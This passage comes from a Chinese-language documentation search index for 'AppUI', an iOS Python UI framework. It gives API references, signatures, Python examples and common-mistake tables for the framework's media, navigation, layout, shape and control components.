页面不要再额外 import avplayer 去控制同一块内嵌视频;PlayerController 已经是 AppUI 的播放器控制入口。 PlayerController 默认 pause_on_disappear=True,页面退出或视图消失时会暂停对应播放器,避免视频声音继续播放。确实需要离开页面后继续播放时,显式传 pause_on_disappear=False。 import appui\n\nplayer = appui.PlayerController(\n id=\"episode-player\",\n url=\"https://example.com/video.mp4\",\n autoplay=True,\n allows_pip=True,\n pause_on_disappear=True,\n)\n\n\n@player.on_progress(interval=5)\ndef save_progress(seconds):\n print(\"progress\", seconds)\n\n\ndef skip_forward():\n player.seek(player.current_time + 30)\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.VideoPlayer(player=player).frame(height=220),\n appui.HStack([\n appui.Button(\"Play\", action=player.play),\n appui.Button(\"Pause\", action=player.pause),\n appui.Button(\"Skip\", action=skip_forward),\n ]),\n ], spacing=12)\n .padding()\n .navigation_title(\"Player\")\n )\n\n\nappui.run(body) import appui\n\n\ndef body():\n markers = [\n {\"latitude\": 35.68, \"longitude\": 139.76, \"title\": \"Tokyo\"},\n {\"latitude\": 35.69, \"longitude\": 139.70, \"title\": \"Shinjuku\"},\n ]\n\n return appui.NavigationStack(\n appui.ScrollView(\n appui.VStack([\n appui.MapView(\n latitude=35.68,\n longitude=139.76,\n span=0.12,\n markers=markers,\n map_style=\"standard\",\n ).frame(height=220),\n appui.WebView(html=\"

AppUI

Inline HTML content.

\")\n .frame(height=180),\n ], spacing=16)\n .padding()\n ).navigation_title(\"Map & Web\")\n )\n\n\nappui.run(body) 加载状态和权限 API 空值或失败时的表现 建议 `AsyncImage` 无占位时可能显示空白;失败时使用 `error_view`。 总是提供 `placeholder` 和 `error_view`。 `PhotoPicker` 用户取消时可能返回空列表。 在 `on_picked` 中处理 `[]` 或 `None`。 `CameraPicker` 用户拒绝权限、取消或设备不可用时可能没有路径。 在 `on_captured` 中处理空路径并显示说明。 `FileImporter` 用户取消时不会产生有效路径;部分外部文件类型可能无法读取。 默认保持 `copy=True`,在 `on_picked` 中处理 `[]` 或 `None`。 `VideoPlayer` 空 `url` 没有有效播放源。 文档示例可展示空控件,真实应用必须传可播放地址。 `WebView` 未传 `url` / `html` 时没有明确内容。 显式传 URL 或 HTML。 `MapView` 无标记也能显示中心点。 `span` 不要过大,标记字典至少包含 `latitude`、`longitude`。 `ShareLink` `item` 为空时分享面板没有有意义内容。 先在状态或函数里生成可读文本、URL 或文件路径。 与相邻 API 的区别 API 不同点 `Image` vs `Label` `Image` 只有图像;`Label` 是图标和标题组合,按钮和列表行更常用。 `Image` vs `AsyncImage` `Image` 用本地资源或 SF Symbol;`AsyncImage` 从网络 URL 加载。 `PhotoPicker` vs `CameraPicker` `PhotoPicker` 从已有媒体库选择;`CameraPicker` 创建新媒体。 `PhotoPicker` vs `FileImporter` `PhotoPicker` 只面向相册媒体;`FileImporter` 从 Files App 或文档提供方导入普通文件。 `WebView` vs `Link` `WebView` 在 AppUI 内嵌网页;`Link` 打开系统浏览器。 `VideoPlayer` vs `WebView` 视频用 `VideoPlayer`,不要用 WebView 包一层视频网页来播放。 常见错误 错误 正确做法 `AsyncImage` 不设固定高度,加载后布局跳动。 用 `.frame(height=...)` 固定媒体区域。 网络图片使用 `\"fill\"` 但忘记 `.clipped()`。 填充裁切时加 `.clipped()`。 相册或相机回调假设一定有路径。 对空列表、空字符串和权限拒绝做处理。 需要普通文档却用 `PhotoPicker`。 用 `FileImporter(allowed_types=[...], on_picked=...)`。 用 `Image(...).on_tap(...)` 模拟按钮。 可点击媒体动作使用 `Button(content=appui.Image(...))` 或 `Button(content=appui.Label(...))`。 在用户文档里混用命令式 `u" + }, + { + "id": "appui-ref-navigation", + "title": "导航 API", + "subtitle": "NavigationStack、NavigationLink、TabView、ToolbarItem。", + "section": "appui / API 参考", + "url": "pages/appui-ref-navigation/", + "text": "导航 API NavigationStack、NavigationLink、TabView、ToolbarItem。 appui API 参考 appui api navigation NavigationStack NavigationLink TabView ToolbarItem 导航 导航 API 本页覆盖 NavigationStack、NavigationLink、NavigationSplitView、TabView、Tab、NavigationPath、ToolbarItem 和 ToolbarSpacer。页面级结构优先用这些原生导航容器,不要用手写按钮去模拟系统导航。 什么时候用 目标 首选 API 说明 普通推入详情页 `NavigationStack` + `NavigationLink` 列表到详情、设置项到二级页。 代码控制 push/pop `NavigationStack(path=...)` + `NavigationPath` 登录流程、分步表单、点击完成后跳转。 多个主栏目 `TabView` + `Tab` 首页、搜索、我的等顶层导航。 iPad 多列 `NavigationSplitView` 侧边栏 + 详情页,可加 supplementary 第三列。 顶栏/底栏命令 `.toolbar([...])` + `ToolbarItem` 保存、关闭、编辑、分享等页面命令。 最小正确示例 import appui\n\nitems = [\n {\"id\": \"a\", \"title\": \"Alpha\", \"status\": \"Ready\"},\n {\"id\": \"b\", \"title\": \"Beta\", \"status\": \"Draft\"},\n]\n\n\ndef item_key(item):\n return item[\"id\"]\n\n\ndef detail_view(item):\n return (\n appui.Form([\n appui.Section(\"详情\", [\n appui.LabeledContent(\"Title\", value=item[\"title\"]),\n appui.LabeledContent(\"Status\", value=item[\"status\"]),\n ])\n ])\n .navigation_title(item[\"title\"])\n .toolbar([\n appui.ToolbarItem(\n placement=\"navigation_bar_trailing\",\n content=appui.CloseButton(),\n role=\"close\",\n )\n ])\n )\n\n\ndef row_view(item):\n return appui.NavigationLink(\n destination=detail_view(item),\n label=appui.Label(item[\"title\"], system_image=\"doc.text\"),\n )\n\n\ndef body():\n root = appui.List([\n appui.Section(\"Items\", [\n appui.ForEach(items, row_builder=row_view, key=item_key)\n ])\n ]).navigation_title(\"Navigation\")\n\n return appui.NavigationStack(root)\n\n\nappui.run(body) 导航容器签名 API 签名 分类 `NavigationStack` `NavigationStack(content: Optional[View] = None, path: Optional[NavigationPath] = None, destinations: Optional[Dict[str, Callable]] = None)` `navigation` `NavigationView` `NavigationView = NavigationStack` `兼容别名` `NavigationLink` `NavigationLink(title: Optional[str] = None, destination: Optional[View] = None, label: Optional[View] = None)` `navigation` `NavigationSplitView` `NavigationSplitView(sidebar: Optional[View] = None, detail: Optional[View] = None, supplementary: Optional[View] = None, column_visibility: str = 'all')` `navigation` `TabView` `TabView(tabs: Optional[Sequence[\"Tab\"]] = None, selection: Optional[int] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None)` `navigation` `Tab` `Tab(title: str = '', system_image: Optional[str] = None, image: Optional[str] = None, content: Optional[View] = None, badge: Optional[int] = None, tag: Optional[int] = None, systemImage: Optional[str] = None, role: Optional[str] = None, key: Optional[str] = None)` `navigation` `NavigationPath` `NavigationPath()` `公开类型` `ToolbarItem` `ToolbarItem(placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None)` `presentation` `ToolbarSpacer` `ToolbarSpacer(sizing: str = 'fixed', placement: str = 'automatic')` `presentation` NavigationPath 方法 API 签名 所属类型 `append` `append(view_or_value: Union[\"View\", str, int, Dict[str, Any]]) -> None` `NavigationPath` `pop` `pop(count: int = 1) -> None` `NavigationPath` `pop_to_root` `pop_to_root() -> None` `NavigationPath` `replace` `replace(items: Sequence[Any]) -> None` `NavigationPath` import appui\n\npath = appui.NavigationPath()\n\n\ndef open_profile():\n path.append(\"profile\")\n\n\ndef go_root():\n path.pop_to_root()\n\n\ndef make_destination(route):\n if route == \"profile\":\n return appui.Form([\n appui.Section(\"Profile\", [\n appui.Text(\"Programmatic destination\"),\n appui.Button(\"Back to root\", action=go_root),\n ])\n ]).navigation_title(\"Profile\")\n return appui.Text(\"Unknown\").navigation_title(\"Unknown\")\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Actions\", [\n appui.Button(\"Open profile\", action=open_profile),\n ])\n ]).navigation_title(\"Root\"),\n path=path,\n destinations={\"profile\": make_destination},\n )\n\n\nappui.run(body) TabView 示例 import appui\n\nstate = appui.State(tab=0, enabled=True)\n\n\ndef set_tab(value):\n state.tab = value\n\n\ndef set_enabled(value):\n state.enabled = value\n\n\ndef home_view():\n return appui.NavigationStack(\n appui.Text(\"Home\").padding().navigation_title(\"Home\")\n )\n\n\ndef settings_view():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Settings\", [\n appui.Toggle(\n \"Enabled\",\n is_on=state.enabled,\n on_change=set_enabled,\n ),\n ])\n ]).navigation_title(\"Settings\")\n )\n\n\ndef body():\n return appui.TabView(\n tabs=[\n appui.Tab(\"Home\", system_image=\"house\", content=home_view(), tag=0),\n appui.Tab(\"Settings\", system_image=\"gear\", content=settings_view(), tag=1),\n ],\n selection=state.tab,\n on_change=set_tab,\n )\n\n\nappui.run(body, state=state) 底部附件与原生 Sheet 持续任务可以用 .tab_view_bottom_accessory(...) 显示底部常驻状态条,再用 .sheet(...) 打开完整面板。这样底部条仍由 iOS 26 TabView 原生区域承载,展开页则交给系统 sheet 处理圆角、拖拽条、下拉关闭和 detents。 import appui\n\nstate = appui.State(show_panel=False)\n\n\ndef open_panel():\n state.show_panel = True\n\n\ndef close_panel():\n state.show_panel = False\n\n\ndef compact_bar():\n return appui.HStack([\n appui.Image(system_name=\"arrow.down.circle.fill\").foreground_color(\"systemBlue\"),\n appui.VStack([\n appui.Text(\"下载中\").font(\"subheadline\").bold(),\n appui.Text(\"42% · 3 个任务\").font(\"caption\").foreground_style(\"secondary\"),\n ], alignment=\"leading\", spacing=2)\n .frame(max_width=appui.infinity, alignment=\"leading\"),\n appui.Image(system_name=\"chevron.up\").foreground_color(\"secondaryLabel\"),\n ], spacing=10).padding(horizontal=14, vertical=10)\n\n\ndef expanded_panel():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"任务\", [\n appui.LabeledContent(\"当前进度\", value=\"42%\"),\n appui.LabeledContent(\"剩余任务\", value=\"3\"),\n appui.Button(\"完成\", action=close_panel),\n ])\n ]).navigation_title(\"下载\")\n )\n\n\ndef body():\n tabs = appui.TabView(tabs=[\n appui.Tab(\"首页\", system_image=\"house\", content=appui.Text(\"Home\"), tag=0),\n appui.Tab(\"设置\", system_image=\"gear\", content=appui.Text(\"Settings\"), tag=1),\n ])\n return tabs.tab_view_bottom_accessory(\n compact_bar().content_shape(\"rect\").on_tap(open_panel)\n ).sheet(\n is_presented=state.show_panel,\n on_dismiss=close_panel,\n content=expanded_panel,\n detents=\"medium_large\",\n drag_indicator=\"visible\",\n )\n\n\nappui.run(body, state=state) 紧凑条会放在底部系统区域;点击后打开原生 sheet。不要再额外给同一个 TabView 挂底部 safe_area_bar,否则会和底部附件争同一块区域。需要更像系统媒体 App 的体验时,优先把完整播放器设计成适合 sheet 的内容,而不是自定义全屏 overlay。 常用修饰符 API 签名 所属类型 `.navigation_title` `.navigation_title(title: Union[str, \"View\"]) -> Self` `View` `.navigation_bar_title_display_mode` `.navigation_bar_title_display_mode(mode: str) -> Self` `View` `.navigation_bar_back_button_hidden` `.navigation_bar_back_button_hidden(value: bool = True) -> Self` `View` `.toolbar` `.toolbar(items: Any) -> Self` `View` `.toolbar_background` `.toolbar_background(visibility: str = 'visible', bars: str = 'navigation_bar') -> Self` `View` `.toolbar_color_scheme` `.toolbar_color_scheme(scheme: str = 'dark', bars: str = 'navigation_bar') -> Self` `View` `.navigation_destination` `.navigation_destination(is_presented: bool = False, content: Optional[\"View\"] = None, on_dismiss: Optional[Callable] = None, isPresented: Optional[bool] = None, onDismiss: Optional[Callable] = None) -> Self` `View` `.safe_area_bar` `.safe_area_bar(edge: str = 'bottom', content: Optional[\"View\"] = None, alignment: str = 'center', spacing: Optional[float] = None, safeAreaEdge: Optional[str] = None) -> Self` `View` `.tab_view_bottom_accessory` `.tab_view_bottom_accessory(content: Optional[\"View\"] = None, enabled: bool = True, is_enabled: Optional[bool] = None, isEnabled: Optional[bool] = None) -> Self` `View` `.tab_bar_minimize_behavior` `.tab_bar_minimize_behavior(behavior: str = 'automatic') -> Self` `View` `.tab_view_search_activation` `.tab_view_search_activation(activation: str = 'search_tab_selection') -> Self` `View` 与相邻 API 的区别 API 不同点 `NavigationLink` vs `NavigationPath` `NavigationLink` 适合用户点击某一行进入详情;`NavigationPath` 适合业务逻辑主动跳转。 `TabView` vs `NavigationStack` `TabView` 是顶层栏目切换;每个 Tab 里面通常再放自己的 `NavigationStack`。 `NavigationSplitView` vs `TabView` `NavigationSplitView` 是同一任务的多列信息架构;`TabView` 是多个任务域的顶层切换。 `.toolbar` vs 页面正文按钮 页面级命令放工具栏;内容相关动作放在表单、列表或卡片中。 `.tab_view_bottom_accessory` vs `.sheet` 前者只显示底部常驻紧凑条;后者打开完整面板、表单或播放器页。 `.tab_view_bottom_accessory` vs `.safe_area_bar` 前者是 TabView 的系统底部附件;后者是普通安全区插入内容,不要同时挂在同一个底部区域。 `CloseButton` vs 普通 `Button` 关闭 MiniApp 时使用 `CloseButton` 或 `ToolbarItem(role=\"close\")`,系统能识别关闭语义。 `ToolbarSpacer` vs 空白 `Spacer` `ToolbarSpacer` 是工具栏项;正文布局留白继续用 `Spacer`。 常见错误 错误 正确做法 只用 `VStack` 加按钮模拟页面切换。 使用 `NavigationStack`、`NavigationLink` 或 `NavigationPath`。 在 `TabView` 外面只包一个全局 `NavigationStack`。 每个 Tab 里面放自己的 `NavigationStack`,避免标题和返回栈互相污染。 用“播放”或“下载”单独占一个 Tab,但又需要全局状态条。 用 `.tab_view_bottom_accessory(...)` 放紧凑状态条,点击后用 `.sheet(...)` 打开完整面板。 隐藏返回按钮但没有替代路径。 用 toolbar 放明确的返回、取消或关闭按钮。 `ForEach` 行没有稳定 `key`。 给 `ForEach` 传稳定键函数,避免列表刷新后导航状态错位。 `ToolbarItem` 使用旧 placement 名称。 使用 AppUI 文档中的 `navigation_bar_trailing`。 相关文档 文档 用途 [导航与页面结构](appui-guide-navigation) TabView、NavigationStack、NavigationPath 和 sheet 的完整模式。 [呈现 API](appui-ref-presentation) sheet、alert、popover、confirmation dialog。 [形状 API](appui-ref-shapes) `ToolbarItem` 也在形状/工具栏页中保留了签名。" + }, + { + "id": "appui-ref-layout", + "title": "布局 API", + "subtitle": "Stack、ScrollView、List/Form、Grid 和 GeometryReader。", + "section": "appui / API 参考", + "url": "pages/appui-ref-layout/", + "text": "布局 API Stack、ScrollView、List/Form、Grid 和 GeometryReader。 appui API 参考 appui api layout VStack HStack ScrollView LazyVGrid GeometryReader 布局 布局 API 本页查 Stack、ScrollView、List/Form、Grid、GeometryReader 和数据展示容器的签名。怎么选择布局结构见 布局系统。 分篇速查 分篇 适合查询 [堆叠布局 API](appui-ref-layout-stacks) `VStack`、`HStack`、`ZStack`、`LazyVStack`、`LazyHStack`、`Spacer`、`Divider`。 [滚动 API](appui-ref-layout-scroll) `ScrollView`、`ScrollViewReader`、滚动方向、初始定位和锚点。 [网格 API](appui-ref-layout-grids) `LazyVGrid`、`LazyHGrid`、`Grid`、`GridRow`、`flexible`、`fixed`、`adaptive`、`grid_item`。 [几何与特殊布局 API](appui-ref-layout-geometry) `GeometryReader`、`ViewThatFits`、`Group`、`Overlay`、`SafeAreaInset`。 [环境值 API](appui-ref-environment) `environment_value`、`preferred_color_scheme`、`locale`、`layout_direction`、动态字体和文本环境。 什么时候用 目标 API 纵向/横向组合 `VStack`、`HStack` 层叠覆盖 `ZStack`、`Overlay` 自定义滚动内容 `ScrollView`、`LazyVStack` 程序化滚动 `ScrollViewReader` 卡片网格 `LazyVGrid`、`LazyHGrid`、`Grid` 原生动态列表 `List`、`ForEach` 设置和编辑页 `Form`、`Section` 空状态和进度 `ContentUnavailableView`、`ProgressView` 大屏表格 `Table` 容器组合示例 同一页面可以同时使用 Form、List、LazyVGrid,但要让每个容器负责自己擅长的结构。 import appui\n\ncards = [\n {\"id\": \"a\", \"title\": \"Alpha\"},\n {\"id\": \"b\", \"title\": \"Beta\"},\n {\"id\": \"c\", \"title\": \"Gamma\"},\n]\n\n\ndef card_key(item):\n return item[\"id\"]\n\n\ndef card_view(item):\n return (\n appui.Text(item[\"title\"])\n .frame(max_width=appui.infinity, min_height=72)\n .background(\"secondarySystemBackground\", corner_radius=8)\n )\n\n\ndef body():\n grid = appui.LazyVGrid(\n columns=[appui.adaptive(minimum=120)],\n spacing=12,\n content=[appui.ForEach(cards, row_builder=card_view, key=card_key)],\n )\n\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"Form\", [\n appui.LabeledContent(\"Container\", value=\"Form\"),\n ]),\n appui.Section(\"Grid\", [\n grid,\n ]),\n ]).navigation_title(\"Layout\")\n )\n\n\nappui.run(body) 布局签名 API 签名 分类 `VStack` `VStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)` `layout` `HStack` `HStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)` `layout` `ZStack` `ZStack(content: Optional[Sequence[View]] = None, alignment: str = 'center')` `layout` `LazyVStack` `LazyVStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)` `layout` `LazyHStack` `LazyHStack(content: Optional[Sequence[View]] = None, alignment: str = 'center', spacing: Optional[float] = None)` `layout` `ScrollView` `ScrollView(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, showsIndicators: Optional[bool] = None)` `layout` `ScrollViewReader` `ScrollViewReader(content: Optional[ViewChild] = None, axes: str = 'vertical', shows_indicators: bool = True, scroll_to: Optional[str] = None, anchor: str = 'top', showsIndicators: Optional[bool] = None, scrollTo: Optional[str] = None, children: Optional[ViewChild] = None)` `layout` `LazyVGrid` `LazyVGrid(columns: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None)` `layout` `LazyHGrid` `LazyHGrid(rows: Optional[Sequence[dict]] = None, content: Optional[Sequence[View]] = None, spacing: Optional[float] = None, children: Optional[Sequence[View]] = None)` `layout` `Grid` `Grid(content: Optional[Sequence[View]] = None, alignment: str = 'center', horizontal_spacing: Optional[float] = None, vertical_spacing: Optional[float] = None, horizontalSpacing: Optional[float] = None, verticalSpacing: Optional[float] = None)` `layout` `GridRow` `GridRow(content: Optional[Sequence[View]] = None, alignment: Optional[str] = None)` `layout` `GeometryReader` `GeometryReader(content: Optional[ViewChild] = None, on_change: Optional[Callable] = None, onChange: Optional[Callable] = None, children: Optional[ViewChild] = None, on_geometry: Optional[Callable] = None, onGeometry: Optional[Callable] = None)` `layout` `ViewThatFits` `ViewThatFits(content: Optional[Sequence[View]] = None)` `layout` `Group` `Group(content: Optional[Sequence[View]] = None)` `layout` `Overlay` `Overlay(content: Optional[View] = None, overlay: Optional[View] = None, alignment: str = 'center')` `layout` `SafeAreaInset` `SafeAreaInset(edge: str = 'bottom', content: Optional[View] = None)` `layout` `Spacer` `Spacer(min_length: Optional[float] = None, minLength: Optional[float] = None)` `layout` `Divider` `Divider()` `layout` 数据容器 API 签名 分类 `List` `List(content: Optional[Sequence[View]] = None)` `collection` `ForEach` `ForEach(data: Any, row_builder: Optional[Callable] = None, key: Optional[Callable] = None, rowBuilder: Optional[Callable] = None, content: Optional[Callable] = None)` `collection` `Form` `Form(content: Optional[Sequence[View]] = None)` `collection` `Section` `Section(content: Optional[ViewChild] = None, *, header: Optional[Union[str, View]] = None, footer: Optional[Union[str, View]] = None, children: Optional[ViewChild] = None, key: Optional[str] = None)` `collection` `GroupBox` `GroupBox(label: Optional[str] = None, content: Optional[ViewChild] = None, children: Optional[Sequence[View]] = None)` `collection` `DisclosureGroup` `DisclosureGroup(label: str = '', is_expanded: Optional[bool] = None, content: Optional[ViewChild] = None, isExpanded: Optional[bool] = None, children: Optional[ViewChild] = None)` `collection` `LabeledContent` `LabeledContent(label: str = '', value: Optional[str] = None, content: Optional[View] = None)` `collection` `Table` `Table(data: Optional[Sequence[Dict[str, Any]]] = None, columns: Optional[Sequence[Dict[str, str]]] = None, on_select: Optional[Callable] = None, onSelect: Optional[Callable] = None)` `collection` `ControlGroup` `ControlGroup(label: str = '', content: Optional[Sequence[View]] = None, children: Optional[Sequence[View]] = None)` `control` `ContentUnavailableView` `ContentUnavailableView(title: str = '', system_image: Optional[str] = None, description: Optional[str] = None, systemImage: Optional[str] = None)` `presentation` `ProgressView` `ProgressView(label: Optional[str] = None, value: Optional[float] = None, total: float = 1.0)` `feedback` `Link` `Link(title: str = '', url: str = '')` `control` `Gauge` `Gauge(value: float = 0.0, min_value: float = 0.0, max_value: float = 1.0, label: str = '', minValue: Optional[float] = None, maxValue: Optional[float] = None)` `feedback` `ShareLink` `ShareLink(item: str = '', subject: Optional[str] = None, message: Optional[str] = None)` `control` `Badge` `Badge(count: Optional[int] = None, text: Optional[str] = None)` `presentation` `TimelineView` `TimelineView(interval: float = 1.0, content: Optional[View] = None)` `feedback` 相邻 API 区别 API 用法边界 `List` vs `ScrollView` 动态行列表用 `List`;完全自定义滚动视觉才用 `ScrollView`。 `Form` vs `VStack` 设置和编辑页用 `Form`;普通局部排列用 `VStack`。 `LazyVGrid` vs `Grid` 卡片网格用 `LazyVGrid`;需要严格行列对齐用 `Grid`。 `Overlay` vs `.overlay(...)` 简单叠加优先用修饰符;需要显式节点时用 `Overlay`。 `ContentUnavailableView` vs 空 `Text` 空状态用 `ContentUnavailableView`,不要让列表区域空白。 常见错误 错误 后果 修正 `VStack(children=[...])` 构造参数不匹配 `VStack([...], spacing=...)`。 `Section(content=List(...))` 嵌套滚动容器 `List([Section(\"Title\", rows)])`。 动态列表没有 key 搜索、删除后行身份不稳 `ForEach(data, row_builder=..., key=...)`。 用自绘卡片模拟设置页 信息密度低,键盘和辅助功能差 `Form + Section`。 把重型媒体放进列表行 滚动后可能空白或状态丢失 媒体放稳定区域,控制项放 `Form/List`。 相关示例 文档 用途 [布局系统](appui-guide-layout) Stack、ScrollView、Grid、List/Form 的选择。 [示例:待办列表](appui-cookbook-todo) 完整 List、ForEach、搜索和稳定 id。 [示例:仪表盘](appui-cookbook-dashboard) LazyVGrid 和卡片布局。" + }, + { + "id": "appui-ref-shapes", + "title": "形状 API", + "subtitle": "Rectangle、RoundedRectangle、Circle、Capsule、Ellipse、Color 和 ToolbarItem。", + "section": "appui / API 参考", + "url": "pages/appui-ref-shapes/", + "text": "形状 API Rectangle、RoundedRectangle、Circle、Capsule、Ellipse、Color 和 ToolbarItem。 appui API 参考 appui api shapes Rectangle RoundedRectangle Circle Capsule Ellipse Color ToolbarItem 形状 形状 API 本页覆盖 Rectangle、RoundedRectangle、Circle、Capsule、Ellipse、Color 和 ToolbarItem。形状是普通 View,通常要配合 .frame(...) 才能得到稳定尺寸。 什么时候用 目标 首选 API 说明 矩形背景或占位 `Rectangle` 基础块状形状。 卡片背景 `RoundedRectangle` 需要圆角但不想用 `.background(...)` 时。 圆形头像、圆点 `Circle` 宽高相同最稳定。 胶囊按钮背景 `Capsule` 两端半圆的条状背景。 椭圆 `Ellipse` 非等宽高的椭圆。 纯色块 `Color` 用作背景层或色块视图。 工具栏项 `ToolbarItem` 放到 `.toolbar([...])` 里。 形状公共方法 API 签名 所属类型 `.fill` `.fill(color: ColorLike) -> Self` `_Shape` `.stroke` `.stroke(color: ColorLike, line_width: float = 1, **kwargs: Any) -> Self` `_Shape` import appui\n\n\ndef body():\n card = appui.ZStack([\n appui.RoundedRectangle(corner_radius=14)\n .fill(\"secondarySystemBackground\"),\n appui.RoundedRectangle(corner_radius=14)\n .stroke(\"separator\", line_width=1),\n appui.Text(\"Shape Card\").font(\"headline\"),\n ]).frame(height=120)\n\n return appui.NavigationStack(\n appui.VStack([card], spacing=16)\n .padding()\n .navigation_title(\"Shapes\")\n )\n\n\nappui.run(body) 形状签名 API 签名 分类 `Rectangle` `Rectangle()` `shape` `RoundedRectangle` `RoundedRectangle(corner_radius: float = 10, cornerRadius: Optional[float] = None)` `shape` `Circle` `Circle()` `shape` `Capsule` `Capsule()` `shape` `Ellipse` `Ellipse()` `shape` `Color` `Color(value: Optional[ColorLike] = None, red: Optional[float] = None, green: Optional[float] = None, blue: Optional[float] = None, opacity: float = 1.0)` `shape` `ToolbarItem` `ToolbarItem(placement: str = 'automatic', content: Optional[View] = None, role: Optional[str] = None)` `presentation` 颜色 fill、stroke、foreground_color、background 和 Color 都接受 AppUI 的颜色表达: 表达 示例 系统语义色 `\"systemBlue\"`、`\"label\"`、`\"secondaryLabel\"`、`\"systemBackground\"`、`\"separator\"` 十六进制 `\"#3366CC\"` RGB / RGBA 元组 `(0.2, 0.4, 0.8)`、`(0.2, 0.4, 0.8, 0.7)` 整数 `0x3366CC` import appui\n\n\ndef body():\n return appui.NavigationStack(\n appui.VStack([\n appui.Color(value=\"systemIndigo\").frame(height=28),\n appui.Color(red=0.9, green=0.2, blue=0.2, opacity=0.5).frame(height=28),\n appui.Circle().fill(\"#3366CC\").frame(width=56, height=56),\n appui.Capsule().stroke(\"systemGreen\", line_width=3).frame(width=160, height=44),\n appui.Ellipse().fill(\"systemOrange\").frame(width=120, height=72),\n ], spacing=12)\n .padding()\n .navigation_title(\"Color\")\n )\n\n\nappui.run(body) ToolbarItem ToolbarItem 必须放在 .toolbar([...]) 中。placement 使用 AppUI 的 snake_case 名称:\"automatic\"、\"navigation_bar_leading\"、\"navigation_bar_trailing\"、\"bottom_bar\"、\"principal\"、\"keyboard\"。 import appui\n\n\ndef close_page():\n appui.dismiss()\n\n\ndef body():\n return appui.NavigationStack(\n appui.Text(\"Toolbar content\")\n .padding()\n .navigation_title(\"Toolbar\")\n .toolbar([\n appui.ToolbarItem(\n placement=\"navigation_bar_trailing\",\n content=appui.Button(\n action=close_page,\n content=appui.Label(\"Done\", system_image=\"checkmark\"),\n ),\n role=\"close\",\n )\n ])\n )\n\n\nappui.run(body, presentation=\"sheet\") 与 Path / Canvas 的边界 API 不同点 `Rectangle` / `Circle` 等形状 原生常见形状,适合背景、边框、圆点、胶囊。 `Path` 自定义矢量路径,适合不规则形状、曲线和弧。 `Canvas` 命令式绘图表面,适合混合多种图元、文字和渐变。 `.background(...)` 更适合普通卡片背景;不需要额外 ZStack。 import appui\n\n\ndef body():\n commands = [\n {\"move\": [50, 0]},\n {\"line\": [100, 90]},\n {\"line\": [0, 90]},\n {\"close\": True},\n ]\n\n return appui.NavigationStack(\n appui.VStack([\n appui.RoundedRectangle(corner_radius=8)\n .fill(\"systemBlue\")\n .frame(width=120, height=64),\n appui.Path(commands=commands, fill=\"systemOrange\", stroke=\"label\", line_width=2)\n .frame(width=120, height=100),\n ], spacing=16)\n .padding()\n .navigation_title(\"Shape vs Path\")\n )\n\n\nappui.run(body) 常见错误 错误 正确做法 形状不设 `.frame(...)`,显示尺寸不可控。 给形状明确宽高或高度。 圆形宽高不一致。 `Circle().frame(width: height:)` 使用相同宽高;非圆用 `Ellipse`。 卡片背景都用 `ZStack` + `RoundedRectangle`。 普通卡片直接用 `.background(..., corner_radius=...)` 更简单。 `ToolbarItem` 使用旧 placement 名称。 使用 `\"navigation_bar_trailing\"` 等 snake_case 值。 用 `Color(...)` 包语义色再传给 `.fill(...)`。 `.fill(\"systemBlue\")` 直接传颜色表达即可。 相关文档 文档 用途 [图表与画布 API](appui-ref-charts) Canvas、DrawingContext、Path。 [修饰符 API](appui-ref-modifiers) background、overlay、clip_shape、shadow、toolbar。 [深色模式指南](appui-guide-darkmode) 语义颜色和深浅色适配。" + }, + { + "id": "appui-ref-controls", + "title": "控件 API", + "subtitle": "Button、TextField、Toggle、Picker、Slider 等控件签名。", + "section": "appui / API 参考", + "url": "pages/appui-ref-controls/", + "text": "控件 API Button、TextField、Toggle、Picker、Slider 等控件签名。 appui API 参考 appui api controls Button TextField Toggle Picker Slider 控件 控件 API 本页是 Text、输入控件、选择控件、按钮和系统控件的参考。这里的示例都使用命名函数连接 action / on_change / on_submit,这样预览打开后可以确认按钮、输入和选择是否真的改变状态。 什么时候用 目标 首选 API 说明 普通文字 `Text` 静态标签、标题、说明文字。 一段文字混排 `AttributedText` 同一段内需要不同颜色、字重、斜体或链接。 执行动作 `Button` 保存、删除、刷新、打开页面等命令。 顶层关闭 `CloseButton` MiniApp 自定义关闭入口,尤其是 `fullscreen_with_close`。 单行输入 `TextField` / `SecureField` 普通文本或密码输入。 多行编辑 `TextEditor` 备注、正文、长文本。 搜索 `.searchable(...)` 或 `SearchField` 列表页优先用 `.searchable`;独立搜索框用 `SearchField`。 布尔开关 `Toggle` 开启/关闭某个选项。 数值调节 `Slider` / `Stepper` 连续值用 `Slider`,离散整数用 `Stepper`。 单选 `Picker` / `SegmentedControl` / `WheelPicker` 设置项用 `Picker`,少量模式切换用 `SegmentedControl`。 日期和颜色 `DatePicker` / `MultiDatePicker` / `ColorPicker` 使用系统原生选择器。 菜单和系统按钮 `Menu` / `PasteButton` / `RenameButton` / `EditButton` 复用系统语义和平台样式。 最小正确示例 import appui\n\nstate = appui.State(\n name=\"Ada\",\n enabled=True,\n level=3,\n theme=\"System\",\n note=\"\",\n)\n\n\ndef set_name(value):\n state.name = value\n\n\ndef set_enabled(value):\n state.enabled = value\n\n\ndef set_level(value):\n state.level = value\n\n\ndef set_theme(value):\n state.theme = value\n\n\ndef set_note(value):\n state.note = value\n\n\ndef reset_controls():\n state.batch_update(\n name=\"Ada\",\n enabled=True,\n level=3,\n theme=\"System\",\n note=\"\",\n )\n\n\ndef body():\n return appui.NavigationStack(\n appui.Form([\n appui.Section(\"输入\", [\n appui.TextField(\n \"Name\",\n text=state.name,\n on_change=set_name,\n submit_label=\"done\",\n ),\n appui.TextEditor(text=state.note, on_change=set_note)\n .frame(height=80),\n appui.Toggle(\"Enabled\", is_on=state.enabled, on_change=set_enabled),\n ]),\n appui.Section(\"选择\", [\n appui.Slider(\n value=state.level,\n minimum=0,\n maximum=10,\n step=1,\n label=f\"Level {state.level}\",\n on_change=set_level,\n 